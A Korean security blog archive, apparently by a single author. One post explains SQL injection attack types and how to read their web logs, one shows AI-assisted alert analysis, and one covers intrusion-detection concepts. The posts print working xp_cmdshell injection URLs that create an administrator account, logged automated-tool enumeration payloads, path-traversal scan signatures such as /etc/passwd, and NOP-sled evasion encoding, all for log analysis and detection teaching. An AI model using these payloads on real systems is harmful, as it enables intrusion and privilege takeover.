글쓴이 보관물: bigrootno1@gmail.com

SQL Injection 공격 유형과 피해 로그 분석를 통한 시스템 영향 점검


SQL Injection 공격은 1998년 처음 발표되고, OWASP에서 2003년 부터 지속적으로 심각한 취약점 Top 10으로 꾸준히 발표되고 있다. 최초 공격이 발견되고 대규모 공격 툴들이 사용되면서 많은 기업의 웹 사이트에 피해를 발생 시켰다. 현재도 SQL Injection 공격을 자공화된 공격 형태로 지속적으로 발생하고 있다.


SQL Injection공격은 URL요청 또는 웹 요청에 포함되는 파라미터 값에 SQL 구문이나 시스템 명령을 삽입하는 형태의 공격이다. 웹 사이트에서 많이 사용되는 게시판이나 방명록, 검색 기능과 같이 데이터베이스와 연동하여 사용하는 Web Application을 대상으로 발생되는 공격으로 SQL 쿼리 구문 조작을 통해 인가되지 않은 정보를 조회하거나 데이터베이스 내용을 조작할 수 있다. 혹은 확장 프로시저를 이용할 경우 시스템 명령을 실행할 수 있다.

SQL Injection 공격으로 인한 대표적인 피해 사례는 정보 유출이다. SQL Injection 취약점이 발표되고 취약점을 이용한 공격툴이 많이 제작 되었다. 제작된 툴들은 업그레이드를 통해 기능이 점차 다양해 지고 강력해 졌다. 자동화된 공격툴은 단순 클릭 몇 번만으로도 사이트에 가입한 회원들의 개인정보 획득이 가능하다.

공격의 기본적인 원리에 대해 이해하기 위해 예전 2009년도 집필했던 보안 서적의 관련 자료를 인용해 공격 취약점에 대해 설명한다.

C드라이브 목록 반환

xp_cmdshell명령을 이용해 시스템 명령을 실행 하거나 결과를 파일로 저장 할 수 있다. 최근에 사용되는 데이터베이스의 경우 해당 기능의 강력함으로 기본 설정은 사용이 중지 되어 있다. 하지만 모든 보안사고는 취약한 서버 설정으로 인해 공격이 시작 되듯이 해당 설정이 편의를 위해 사용하는 경우도 있다.

DECLARE @dir sysname, @temp sysname
SET @temp = ‘dir C:\’
SET @dir = @temp + ‘ > result.txt’
EXEC master..xp_cmdshell @dir

이러한 시스템 명령 실행 기능을 이용해 공격자는 데이터베이스에 전달되는 인자 값에 공격을 목적으로 하는 구문을 추가하여 전달한다. 실제 Web Application 파라미터 값이 데이터베이스에 전달 되는 과정에서 공격자에 의해 특정 데이터베이스구문이 추가 되었을 경우 발생되는 결과를 살펴 보자. 아래 코드는 데이터베이스의 특정 게시판의 글을 DB Query 구문을 이용해 가져오는 코드 샘플이다.

function getList(table_key)

         dim sql_query, get_list, result

         sql_query=”SELECT * FROM Board WHERE table_key=”&table_key

         set get_list = conn.execute(sql_query)

         getList = result

end function

getList함수는 인자 값을 전달 받아 해당 값을 SQL Query구문에 삽입해 SQL Query를 수행 하고, 수행된 결과를 다시 돌려준다. 위 코드의 table_key 변수가 사용자 또는 Web Application으로부터 전달 받는 파라미터 값이 라고 가정했을 경우 해당 파라미터 값을 아래와 같이 요청할 경우에는 vistor 값 외에 추가로 ‘;exec master..xp_cmdshell ‘net user user_test test4321 /add’;– 구문이 전달된다.

Board=visitor’;exec master..xp_cmdshell ‘net user user_test test4321 /add’;–

추가된 구문은 앞에서 설명한 확장 저장 프로시저로 user_test 라는 계정을 추가하는 시스템 명령 쉘을 생성한다. 프로그램에 의해 수행되는 전체 SQL 실행 구문을 조합해 보면 다음과 같다.

SELECT * FROM Board WHERE table_key=’;exec master..xp_cmdshell ‘net user user_test test4321 /add’;–

구문 마지막에 하이픈(-)을 2개 붙인 이유는 뒤쪽에 추가로 붙게 되는 SQL 구문이 있을 경우 구문오류가 발생 할 수 있기 때문에 추가로 붙는 SQL 구문은 주석처리가 되어 구문 오류를 방지하기 위함이다.


관리자 권한으로 계정 추가

오류가 발생된 URL을 이용해 테스트를 진행해 보기로 하자. SQL Injection 취약점을 이용해서 xp_cmdshell을 실행시켜 실제 시스템에 test_user라는 사용자를 추가 한다.

  • 사용자계정추가
http://www.test.co.kr/xxx/vul_page.asp?vul_parmeter=1234′;exec master..xp_cmdshell ‘net user user_test test4321 /add’;–

시스템 명령 net user를  이용해서 user_test 계정을 추가한다.

컴퓨터 관리 > 로컬 사용자 및 그룹 > 사용자

SQL Injection 공격에 의한 user_test 계정 생성

컴퓨터의 로컬 사용자 및 그룹에 사용자 정보를 확인해 보면 SQL Injection공격을 통해 user_test계정이 생성된 것을 확인 할 수 있다.

②추가한 계정의 사용자 관리자 그룹에 구성원 추가

사용자를 추가 한 후 동일한 방식으로 사용자를 administrators그룹에 저장한다 http://www.test.co.kr/ xxx/vul_page.asp?vul_parmeter=0000000001′;exec master..xp_cmdshell ‘net localgroup administrators user_test /add’;–

시스템 명령 net localgroup을 이용해서 user_test 계정을 관리자 그룹에 구성원으로 추가한다.

사용자 그룹 추가

관리자 권한의 계정을 공격대상 시스템에 생성 하였고, 외부에서 접근 가능한 Service(Remote Terminal, Telnet, FTP, …)에 접근이 가능해 졌다. SQL Injection 취약점을 이용해 시스템 명령을 실행 하였고, 사용자 계정도 추가 되었다.

복잡한 해킹 공격 과정이 필요 한 것도 아니다. 단순 개발 과정에서 파라미터로 전달되는 입력값의 검증 부재와 편의를 위해 ODBC설정을 sa(설치 시 생성하는 계정으로 SQL서버의 모든 권한을 갖는다)계정으로 연동 함으로써 sa계정 권한으로 시스템 명령 수행이 가능했다.

이때 이용되는 확장저장프로시저는 xp_cmdshell, xp_dirtree 등이 사용된다. 사실 xp_cmdshell의 경우 일반적인 MS-SQL DB와 연동된 웹 프로그래밍에서 사용되지 않는다. 일차적으로 취약점이 노출되어 시스템 계정이 획득되면 차후 재 접근을 용이 하기 위해 시스템에 백도어 파일을 설치 하게 된다.


사용자 추가 시 발생되는 웹 로그

오류가 발생된 URL을 이용해 테스트를 진행해 보기로 하자. SQL Injection 취약점을 이용해서 xp_cmdshell을 실행시켜 실제 시스템에 test_user라는 사용자를 추가 한다.

① SQL Injection취약점을 이용한 사용자 추가 요청 URL

http://www.test.co.kr/xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec master..xp_cmdshell ‘net user user_test test4321 /add’;– http://www.test.co.kr/xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec master..xp_cmdshell ‘net localgroup administrators user_test /add’;–

② Web Server에 기록된 로그

2008-03-27 20:57:16 192.168.228.1 – 192.168.228.100 80 GET /xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec%20master..xp_cmdshell%20’net%20user%20user_test%20test4321%20/add’;–|123|800a0d5d|Application_uses_a_value_of_the_wrong_type_for_the_current_operation. 500 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1) 2008-03-27 20:59:11 192.168.228.1 – 192.168.228.100 80 GET xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec%20master..xp_cmdshell%20’net%20localgroup%20administrators%20user_test%20/add’;–|123|800a0d5d|Application_uses_a_value_of_the_wrong_type_for_the_current_operation. 500 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1)

SQL Injectino 취약점을 이용해 사용자를 추가하는 URL요청 시 실제 웹 응답코드[1]는 500.100으로 내부 오류를 의미 한다.

하지만 응답코드는 Web Application이 오류가 발생되었음을 의미하지만 별개로 Database에 파라미터 값이 전달되어 사용자 계정이 추가 되었다.

실제 수행된 SQL Query

– exec master..xp_cmdshell ‘net user user_test test4321 /add’;– – exec master..xp_cmdshell ‘net localgroup administrators user_test /add’;–


자동화 공격툴 분석

<HDSI툴 사용시 발생 웹 로그>

예전 많이 사용되었던 HDSI 공격툴은 중국에서 제작된 자동화 공격툴로 SQL Injection 취약점을 이용해 시스템 명령 실행, DB정보 획득, 악성코드 삽입 등의 기능을 제공한다.

먼저 데이터베이스가 노출될 경우 발생하는 웹 로그를 살펴 보자. SQL Injection에 취약한 URL이 존재 할 경우 자동화 공격툴을 이용해 DB에 저장된 정보를 손쉽게 획득할 수 있다. 다음 화면은 자동화된 공격툴을 이용해 데이터베이스 정보를 추출하는 화면 입니다.

HDSI SQL Injection 공격툴

공격 시 웹 서버에 기록된 웹 로그는 다음과 같습니다. 자동화된 공격툴을 이용해 취약한 URL의 파라미터로 SQL 인젝션 공격이 이뤄 진다. 삽입된 SQL 구문은 데이터베이스의 테이블 이름을 목록화 하기 위해 셀렉트문을 실행 한다. SQL 쿼리구문 실행 과정에서 오류정보에 테이블 이름을 수집 할 수 있다. 자동화된 공격툴이 실행시킨 SQL문과 유출된 테이블 정보는 웹 로그에 기록 된다.

– 21:06:47 192.168.228.1–192.168.228.100 80 GET / xxx/vul_page.asp?vul_parmeter=0000000001’%20%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20from(Select%20Top%2014%20id,name%20from%20[test]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0%20And%20’’=’|7|80040e07|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Syntax_error_converting_the_varchar_value_’^tbl_discussion^’_to_a_column_of_data_type_int. 500

– 21:06:48 192.168.228.1–192.168.228.100 80 GET / xxx/vul_page.asp?vul_parmeter=0000000001’%20%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[test]..[tbl_discussion]%20Where%201=1)>0%20And%20’’=’|7|80040e07|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Syntax_error_converting_the_varchar_value_’⁰^’_to_a_column_of_data_type_int. 500

SQL Injection 공격은 취약한 URL의 매개변수로 자동화된 공격 도구를 사용하여 수행 된다. URL 정보는 인코딩되어 있으므로 먼저 디코딩해야 한다. 자동 변환 사이트도 있지만 ChatGTP를 이용한 쉽게 파라미터 구문을 확인할 수 있다.

ChatGPT 로그 분석

<출처: ChatGPT 답변>

제공된 문자열은 URL 인코딩된 SQL 주입 시도인 것으로 보입니다. SQL 주입은 공격자가 악성 SQL 코드를 주입하여 취약한 SQL 쿼리를 조작하거나 악용하려는 기술입니다.

문자열을 디코딩하면 다음과 같습니다.

0000000001′ And (Select Top 1 cast(char(94)+name+char(94) as varchar(8000)) from(Select Top 14 id,name from [test]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc)>0 And ‘’=’|7|80040e07|

이 문자열은 공격자가 SQL 쿼리를 악용하여 데이터베이스에서 정보를 추출하려는 UNION 기반 SQL 주입 공격을 시도하고 있음을 시사합니다.

SQL 주입 공격을 수행하거나 시도하는 것은 불법이고 비윤리적이라는 점에 유의하는 것이 중요합니다. 보안 취약점이나 시도가 의심되는 경우 해당 기관이나 조직의 보안 팀에 보고하는 것이 좋습니다.


시스템 명령 실행 시 발생되는 웹 로그

실제로 파라미터 값을 통해 시스템 명령이 실행돼도 웹 응답 코드는 500으로 표기 될 수  있다.

2008-03-27 21:18:44 192.168.228.1 – 192.168.228.100 80 HEAD / xxx/vul_page.asp?vul_parmeter =0000000001%27%3B%44%72%6F%70%20%74%61%62%6C%65%20%63%6F%6D%64%5F%6C%69%73%74%20%3B%43%52%45%41%54%45%20%54%41%42%4C%45%20%63%6F%6D%64%5F%6C%69%73%74%20%28%43%6F%6D%52%65%73%75%6C%74%20%6E%76%61%72%63%68%61%72%28%31%30%30%30%29%29%20%49%4E%53%45%52%54%20%63%6F%6D%64%5F%6C%69%73%74%20%45%58%45%43%20%4D%41%53%54%45%52%2E%2E%78%70%5F%63%6D%64%73%68%65%6C%6C%20%22%64%69%72%20%63%3A%5C%22%2D%2D|32|800a004c|경로를_찾을_수_없습니다. 500 Mozilla/3.0+(compatible;+Indy+Library) 2008-03-27 21:18:44 192.168.228.1 – 192.168.228.100 80 GET / xxx/vul_page.asp?vul_parmeter =0000000001’%20And%20(select%20top%201%20char(94)%2Bcast(ComResult%20as%20varchar(8000))%2Bchar(94)%20%20from%20(%20select%20top%201%20ComResult%20from%20[comd_list]%20order%20by%20ComResult%20desc%20)%20as%20as_TableName%20order%20by%20ComResult%20asc%20)>0%20And%20”=’|7|80040e37|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Invalid_object_name_’comd_list’. 500 Internet+Explorer+6.0

실제 공격에 해당 되는 구문 쿼리 분석기 실행 결과는 아래와 같다.

실제 수행된 SQL Query

– Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar(1000)) INSERT comd_list EXEC MASTER..xp_cmdshell “dir c:\”– – select top 1 char(94)+cast(ComResult as varchar(8000))+char(94)  from ( select top 1 ComResult from [comd_list] order by ComResult desc ) as as_TableName order by ComResult asc

사용되는 공격도구에 따라 로그에 발생하는 패턴이나 SQL 구문은 차이가 조금씩 발생한다. 기본적인 공격 원리에 대한 이해를 통해 공격 로그 분석 시 시스템 영향을 분석한다.

SQL Injection 공격의 시스템 피해 유형과 로그 분석을 위한 주요 공격 패턴에 대해서 살펴 보았다.

AI-Driven 보안 경보 분석 업무 쉽게 하기

보안팀 대응 업무의 가장 많은 리소스 사용은 탐지된 보안 경보를 분석해 보안 위협을 구분하는 과정 이다. 다양한 보안 장비의 상관분석을 통해 탐지된 보안 경보는 각각의 보안 로그를 재조합해 분석팀/관제팀에서 분석에 필요한 문맥 정보를 파악 한다. 이 과정에서 탐지된 보안 로그를 확인하는 과정에 시간이 많이 소요 된다. 각각의 필드 정보와 IOC 연관 정보를 식별하는 과정은 단순 업무의 반복이다.

RAG 기술을 활용해 인공지능 엔진을 보안 위협 대응 과정에 활용하면 보안 경보 분석 과정을 혁신적으로 빠르게 분석할 수 있다. 전통적으로 SIEM 솔루션에서 발생한 경보를 분석하는 과정과 인공지능 엔진을 활용해 경보를 분석하는 과정을 비교해 볼 수 있다.

다음 화면 캡처를 통해 전통적인 보안 경보 분석 하는 과정을 먼저 설명 드립니다. 탐지된 경보 중 인텔리전스 정보를 활용한 블랙 리스트 IP에 접속한 경보를 살펴 본다.

그림. 보안 경보 상세 로그 분석 1단계. 이벤트 설명

탐지 위협을 이해하기 위해 탐지된 경보에 대해 설명을 확인하고, 경보가 의미하는 내용과 조사 방법에 대한 설명을 확인 한다. 참조 내용을 기반으로 탐지된 상세 로그를 분석 한다. 탐지 시간, 탐지된 IP 정보를 확인 하고, IP 정보에 대한 평판을 확인하기 위해 평판 조회 사이트를 참고 한다. 의심 IP에 접속한 호스트에 대해 상세 정보를 확인 한다.

그림. 보안 경보 상세 로그 분석 2단계. 외부 IP 평판 정보 분석

운영 체제 정보와 연결에 사용한 프로그램을 확인 한다. 연결에 사용된 프로그램 정보는 악성코드나 백도어에 의한 원격 연결을 확인하는데 중요한 정보이다. 개별 분석 정보를 취합해 분석가는 해킹에 의한 이벤트 발생 여부를 판단 한다.

그림. 보안 경보 상세 로그 분석 3단계. 보안 장비 로그 확인

추가로 시각화 정보를 이용하게 되면 좀더 직관적으로 탐지 이벤트에 대해 이해할 수 있다. 최초 실행된 프로세스와 해당 실행 파일 정보를 통해 인터넷 연결을 통한 네트워크 연결 과정을 확인할 수 있다.

그림. 보안 경보 상세 로그 분석 4단계. 시각화 정보 분석

이러한 과정은 실시간으로 보안팀 분석가가 반복적으로 수행하는 작업이며, 분석에 대부분의 업무 리소스를 사용 한다.

생성형 AI 역량을 활용하면 앞서 분석가가 직접 확인해야 하는 정보를 자동으로 분석하고 빠르게 대응할 수 있도록 경보와 연관된 모든 정보를 확인 수 있다. 프롬프트 엔지니어링을 통해 간단하게 관련 정보를 확인할 수 있다. 엘라스틱에 수집된 로그를 이용해 분석 보고서 정보를 생성 할 수 있다. 다음 화면은 앞서 설명한 분석 과정을 Elastic AI-Driven 엔진을 통해 자동으로 모든 과정의 정보를 취합하는 화면 캡처다.

그림. 인공지능 엔진을 이용한 보안 경보 분석 정보 자동 생성

Elastic AI Assistant가 탐지된 경보에 대한 상세 로그를 분석해 중요한 위협 식별 정보를 정리 한다. 탐지된 보안 이벤트 종류와 형식을 요약하고, 연관된 호스트 정보를 상세하게 분석해 제공 한다. 호스트 또는 사용자에 대한 위험 리스크 스코어도 함께 제공해 분석가가 판단에 필요한 도움을 제공 한다.

외부로 통신을 시도한 설치 프로그램 정보를 분석에 제공하면 분석가는 시간을 들여 분석하지 않아도 핵심적인 이벤트 대응 정보를 참고 할 수 있다. 여기에 추가로 필요한 대응 조치에 대해 확인해 대응 과정에서 활용 할 수 있다. 앞서 메뉴얼하게 분석하는 과정과 비교해 보면 대응 시간을 드라마틱하게 줄여 대응 역량을 높일 수 있다. 분석 보고서는 케이스 생성을 통해 시스템에 대응 근거로 저장해 침해사고 대응 과정에 대한 기록으로 활용할 수 있다. 이처럼 인공지능 역량을 활용한 보안 위협 대응은 다양한 보안 위협을 대응하는 기업의 역량을 높이는데 매우 중요한 요소다.

자세한 데모를 통해서 생성형 AI를 활용해 실제 위협 분석을 진행하는 과정은 유튜브 링크를 참조 한다.

침입탐지시스템(NDR) 이해

Photo by John Salvino on Unsplash

Photo by John Salvino on Unsplash

침입탐지시스템은 크게 2가지 형태의 탐지 방식을 갖고 있다. 시그니처 기반(misuse detection)과 행위기반이상(anomaly detection) 탐지 방식이다.

  • 시그니처기반 이상탐지(misuse detection)

시그니처기반 이상탐지(misuse detection)은 침입탐지시스템 분석 엔진에서 패킷 정보를 수집하고 수집한 패킷에 대해 공격 시그니처 데이터베이스와 비교하여 공격 여부를 판단 한다. 이는 시그니처 데이터베이스에 존재하는 특정 패턴과 일치하는 경우 공격으로 판단하고 시그니처 데이터베이스에 있는 내용에 대해서만 공격 여부를 검증 한다. 다음이 흔히 웹 스캔을 시도했을 때 발생되는 URL요청의 일부로 이러한 URL요청을 데이터베이스에 저장하고 사용자의 요청에 해당 구문이 포함되는지를 확인해 공격성 여부를 판단하는 것이다.

/../../../common_menu.js
../../../../../../../../../../../../../../../proc/self/environ%00
source=/msadc/../../../../../boot.ini
page=\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini
/etc/passwd
/cgi-shl/win-c-sample.exe
/cgi.cgi/php.cgi
/server-status
표 웹 스캔 공격 탐지 패

시그니처 기반 위협 탐지 방식의 장점과 단점을 살펴보자.

시그니처기반 이상탐지(misuse detection)
장점
시그니처 기반 탐지라고 애기하는 Misuse detection은 특정 시그니처를 이용해 패킷에 포함된 데이터를 확인해 공격 여부를 판단 한다. 시그니처기반 이상탐지(misuse detection)에서 사용하는 시그니처는 공격과 관련된 특정한 행동, 변수, 인자값 등이 포합 된다.
시그니처 기반 탐지 방식은 다양한 이점이 있다. 그 중 한가지로 필드에 알려진 많은 수의 공격 행위가 시그니처로 작성 되었기 때문에 공격행위에 대해 다양하게 탐지가 가능하다. 공격 탐지 패턴을 이용해 쉽게 탐지할 공격 유형을 정의 하고 선택할 수 있다. 또한 시그니처 기반으로 탐지 시스템을 네트워크에 설치하면 별도의 학습과정 없이 바로 활성화 하여 탐지 및 방어를 할 수 있다. 마지막으로 탐지된 이벤트에 대해 쉽게 탐지 유형을 파악하여 적절한 행동을 취할 수 있다.
단점
다양한 이점만큼 다양한 문제점이 있다.
공격자의 공격행위에는 다수의 부가적인 행위가 포함 된다. 예를 들어 웹 공격을 시도하며사용하는 매개변수(특히 SQL Injection)가 사용자에 의해 변경될 경우 탐지 패턴이 없으면 탐지가 불가능해진다. 이처럼 시그니처를 이용해 공격 탐지 시 예측 가능한 변수를 포함하는데 한계가 있다. 또한 공격행위를 탐지 하기 위해서는 모든 행위에 대해 시그니처를 가지고 있어야 한다. 바꿔 말하면 시그니처가 존재하지 않는 공격 행위는 탐지가 불가능 하다는 의미가 된다. 이는 잦은 시그니처 업데이트가 필요함을 의미 하게된다. 공격자가 탐지를 우회할 목적으로 시그니처를 테스트 하고, 우회 가능한 공격 방식을 개발할 수도 있다.

행위기반 이상탐지(anomaly detection)

행위기반 이상탐지(anomaly detection)은 시스템 관리자가 특정한 사례 또는 환경에 대해 정상범위를 미리 정의 한다. 이는 트래픽이 될 수 있고, 웹 서버를 사용하는 사용자의 수가 될 수도 있다. 이 외에도 기준으로 사용 할 수 있는 항목으로 포트, IP, 프로토콜, 패킷 사이즈 등도 사용할 수 있다. 공격 또는 비정상을 구분하는 방법은 앞서 언급한 정상 범위, 즉 사전에 정의된 상황(프로파일)과 다른 상황이 발생되면 이를 비정상 상황으로 탐지 하는 방식 이다. 예로 평소에 웹서버에 접속하는 사용자가 오후 1시에 3만~4만명 사이라고 가정해 보자. 어느날 오후 1시에 웹서버에 접속하는 사용자 수가 1000명으로 줄어 들거나 10만명으로 갑자기 늘어날 경우 침입탐지시스템에서 이를 통보 하게 되는 것이다

그림 비정상상황탐지

그림 비정상상황탐지

행위 기반 이상탐지 방식의 장점과 단점을 살펴보자.

장점

행위기반 이상탐지(anomaly detection) 방식을 사용하기 위해서는 앞서 언급 한데로 먼저 정상 상황에 대한 정의(프로파일)가 필요 하다. 정상이라고 정의한 상황을 기준으로 변칙적인 상황이 발생될 경우 비정상 상황으로 판단 한다.

시스템에 사용자가 추가 또는 삭제 되는 경우 바로 행동 기반 방식에 의해 탐지가 가능 할 수 있다. 이는 일반적으로 사용자가 추가/삭제가 자주 발생하지 않는다는 가정하에서 사용자가 추가 또는 삭제되는 정상 행위에 대해 하나의 비정상 상황으로 가정하고 탐지할 수 있다는 의미다. 두번째로 각각 개별 환경에 따라 기준 또는 정상으로 정의한 상황이 틀리기 때문에 공격을 시도하는 입장에서는 탐지를 우회할 방법을 찾기가 매우 어렵다. 시그니처 기반의, 예를 들면 스노트룰의 경우 웹 상에 탐지 패턴이 공개되어 있기 때문에 언제든지 패턴을 획득하여 우회할 방법을 찾을 수 있지만 사용자 또는 시스템관리자가 정의한 개별 상황은 추측을 통해 우회 방법을 찾기가 매우 어렵다.

단점

대부분의 침입탐지시스템에서 행위기반 이상탐지(anomaly detection) 시스템은 몇 가지 문제를 갖게 된다. 먼저 비정상 상황에 대한 구분을 위해서는 반드시 적절한 기준이나 프로파일을 가지고 있어야 탐지가 가능하다는 점이다. 만약 기준 상황을 정의하는 기간 동안 공격이 발생되어 해당 기준 상황에 공격 행위가 포함될 경우 이 또한 정상 상황으로 판단될 수 있다. 이보다 큰 문제는 시스템의 복잡성과 임계치 설정이 매우 어렵다는 것이다. 만약 공격 행위나 상황이 정상 상황에 너무 가까워서 탐지가 되지 않을 수도 있고, 반대로 정상 사용자를 공격자로 탐지할 수도 있다.

이상탐지 기법을 기반으로 네트워크 또는 호스트의 보안 위협을 분석 한다. 침입분석대상의 사이버 보안 위협을 분석하는 방식을 살펴보자.

침입분석대상

앞서 침입탐지시스템에서 공격 행위를 변별하기 사용하는 2가지 방식을 살펴 보았다. 이번에는 이러한 탐지 방식을 적용하는 계층에 대해 살펴 보기로 하자.

공격 시도를 네트워크상에서 탐지 할 것인지 더 하위 레벨인 시스템에서 탐지 할 것인지에 대한 결정이다. 이 두가지 초점에 따라 탐지 매커니즘을 적용하는 대상에 차이가 발생 한다. 네크워크상에서 송/수신 되는 패킷의 데이터를 분석해 공격을 판단할 것인지, 시스템의 프로세스를 분석해 공격을 판단할 것인지 목적에 따라 차이가 발생 한다.

네트워크 감시(병목 감시)

일반 적으로 네트워크 환경을 구성할 때 웹 서버 및 서비스에 사용할 시스템을 IDC에 설치 하게 된다. 설치된 서버의 경우 동일 IP대역을 할당 받아 특정 범위의 서브넷 범위 안에서 네트워크 환경을 구성 한다. 병목 감시는 동일한 서브넷에 전달되는 모든 패킷에 대해 공격 여부를 탐지 하는 방식으로, 병목 처러 패킷이 집중되는 지점에서 서버로 전달되는 모든 패킷을 분석하고 공격 시도를 분별하는 방식이다.

이 때 사용되는 방법이 미러링 방식과 인라인 방식이 있는데 이는 네트워크 상에 침입탐지 시스템을 어떤 식으로 구성하는 냐를 일커는 용어이다. 스위치 장비나 기타 네트워크 장비에서 전체 트래픽을 침입탐지시스템으로 미러링하여 패킷을 검사 하거나 인라인 모드로 침입탐지시스템을 설치해 감시 하는 방식 이다. 이 구성에 대해 구체적인 형태는 뒤쪽 탐지 구성에서 다시한번 살펴 보기로 하자. 이처럼 네트워크상에서 네트워크 패킷을 감시하는 시스템을 Network Intrusion Detection System(NIDS)라 한다. 네트워크 기반의 침입탐지 시스템(NIDS)과 호스트 기반의 침입탐지 시스템(HIDS)의 가장 큰 차이가 바로 감시 대상의 차이인데, 앞서 설명한 미러링, 인라인 방식으로 네트워크 병목에서 공격 트래픽을 감시하는 것이 NIDS이다. HIDS와의 구분은 감시하는 트래픽이 단일 시스템인지 아니면 전체 네트워크 트래픽인지 차이이다. NIDS는 모든 네트워크 패킷을 검사하고, HIDS는 오로지 특정 호스트에 수신되는 트래픽만을 검사한다. 그럼 단일 호스트를 대상으로 트래픽을 감시하는 HIDS에 대해 살펴보자.

호스트 감시

앞서 NIDS와 HIDS의 차이에 대해 간단하게 언급 하였다. HIDS는 패킷 분석 외에도 침입시도를 탐지 하기 위해 다양한 방법으로 시스템을 감시 한다. 호스트 단위로 감시할 경우 다양한 시스템에서 발생되는 정보까지 활용할 수 있는 장정이 있다. 가장 많이 연동해 분석하는 정보를 다음과 같다.

감시항목설명
Log Parsing시스템에 저장되는 로그는 공격 시도를 확인 할 수 있는 좋은 소스 중 하나다. 많은 침입탐지시스템이 시스템 로그를 연동해 공격 행위가 탐지 되면 경고를 발생 시킨다. 일부 공격의 경우 시스템 로그에 공격 로그를 남기기 때문에 로그를 통해 공격을 감지 할 수 있다. 다음은 호스트 단위의 침입탐지시스템의 공격 탐지 로그다. sshd[3698]: fatal: Local: crc32 compensation attack: network attack detected
System Call Monitoring호스트 기반의 침입탐지시스템은 운영체제의 커널모니터를 통해 잠재적으로 위험한 프로그램의 시스템 콜을 감시 할 수 있다. HIDS에서는 요청된 시스템 콜이 비정상으로 판단되면 경고를 발생 시키거나 호출된 시스템 콜을 막는 방식으로 침입시도를 찾아내고 차단한다.
Filesystem Watching또 다른 기능은 중요한 파일의 사이즈를 감시하고 있다가 변환가 생기면 경고를 발생 시키는 방식이다. 중요한 시스템 파일이나 바이너리 파일의 크기가 변경될 경우 조작된 바이너리 파일로 교체된 것일 수 있기 때문에 경고를 발생 시키는 것이다. 파일 시스템 감시 방식를 이용해 웹 서버에서는 웹 경로의 파일 변조가 발생되는지 감시하여 웹 페이지가 위조 되거나 변조 되는 것을 탐지 한다.

탐지구성

네트워크 침입탐지 시스템은 네트워크 구성에 따라 미러링 방식과 인라인 방식으로 구성 한다. 먼저 미러링 구성은 원 암드(one armed) 방식이라고도 하는데 한쪽으로 팔을 뻗은 것처럼 복사된 패킷을 탐지 분석 한다. 스위치의 각 포트에 흐르는 트래픽을 특정 포트로 복사해 패킷을 미러 시켜 패킷을 검사 한다. 인라인 방식은 라우터와 스위치 사이(구성에 따라 위치는 바뀔 수 있다.)에 침입탐지시스템을 설치 한다. 인라인 방식은 침입차단장비 구성 시 많이 사용 된다. 인라인 구성 시 공격 패킷은 침입차단장비에서 차단 하거나 강제로 리셋 패킷을 전달하여 침입 시도한 공격자의 통신을 차단한다.

그림 미러링 방식과 인라인 방식 탐지

그림 미러링 방식과 인라인 방식 탐지

침입탐지 시스템 탐지우회 방법

공격 행위를 탐지 하기 위해 다양한 기법과 알고리즘이 사용되듯이 탐지를 피하기 위해서도 많은 기법이 끊임 없이 사용 된다. 해킹을 시도하는 공격자는 침입탐지시스템에서 탐지되는 것을 피하기 위해 다양한 방법으로 우회를 시도 한다. 많은 우회 기법이 있지만 예제로 우회기법과 관련해서 이중 디코딩을 통한 탐지 우회 방법과 패킷 프레그먼트 2가지 방법에 대해 살펴 보자

침입탐지시스템에서 탐지를 우회하기 위해 악성코드 제작자는 쉘 코드 작성 시 인코딩하여 작성 한다. 인코딩 한 코드의 경우 디코드 과정을 거쳐 패킷 분석이 필요하다. 소개할 사례는 인코딩된 소스 코드 중 악의적인 목적의 공격 코드에 자주 포함되는 NOP코드를 인코딩하여 우회 시도하는 방법에 대해 살펴보고 디코딩하는 방법을 살펴 보자.

NOP (no-operation) 코드 인코딩

90             NOP

90             NOP

Exploit 코드 제작자는 작성한 쉘 코드가 실행될 정확한 메모리 상의 위치를 추정하기 어렵다. 이는 각은 운영체제에서 사용하는 프로그램이나 설치된 패키지에 따라 정확한 주소값이 달라지기 때문이다. 오버 플로우 또는 언더플로우 등의 공격을 통해 시스템 처리 루틴의 주소 값을 조작하는 단계에 성공했다고 해도, 최종 목적지인 공격자가 작성한 프로그램 코드, 즉 쉘코드가 실행 되는 지점으로 돌아와야 한다. 그렇기 때문에 일정 부분 쉘 코드 앞에 여유 공간을 확보해 리턴 주소가 공격자가 작성한 쉘 코드를 지나치지 않도록 Exploit 코드를 제작한다.

이 때 쉘 코드 앞의 일정 부분을 NOP코드(0x90)로 채워 여유 공간을 확보 한다. 리턴값이 NOP코드를 만나면 아무것도 수행하지 않고 지나쳐 공격자가 작성한 쉘 코드에 이르게 되어 코드가 실행 된다. 많은 Exploit 코드에 NOP코드가 포함되는데 침입탐지시스템에서는 과도한 NOP코드 사용을 exploit코드로 탐지 한다. 탐지를 우회하기 위해 코드 제작자는 여러 가지 방법으로 NOP코드를 인코딩 하고, 침입탐지시스템에서는 이를 탐지 하기 위해 디코딩기법을 적용하거나 인코딩한 데이터를 탐지 패턴으로 사용하게 된다. 인코딩 기법으로 자주 사용되는 몇 가지 방식을 살펴보자.

URL 인코딩

“%”형식으로 표기 되는 인코딩 방식 이다. 관련 함수는 3가지 종류가 있다.

escape() / unescape() encodeURIComponent() / decodeURIComponent() encodeURI() / decodeURI()

실제 인코딩하는 방식으로 앞에서 본 NOP코드를 HEX값으로 %u9090로 표기하고 실제 코드를 사용할 때는 별도의 변화 과정을 다음과 같이 거친다.

unescape(“%u9090”);

또 다른 퍼센티지 인코딩 방식으로 다음과 같이 변화하기도 한다.  아스키 형태의 텍스트를 다음과 같이 HEX값으로 변환하면 아래와 같이 변화한다.

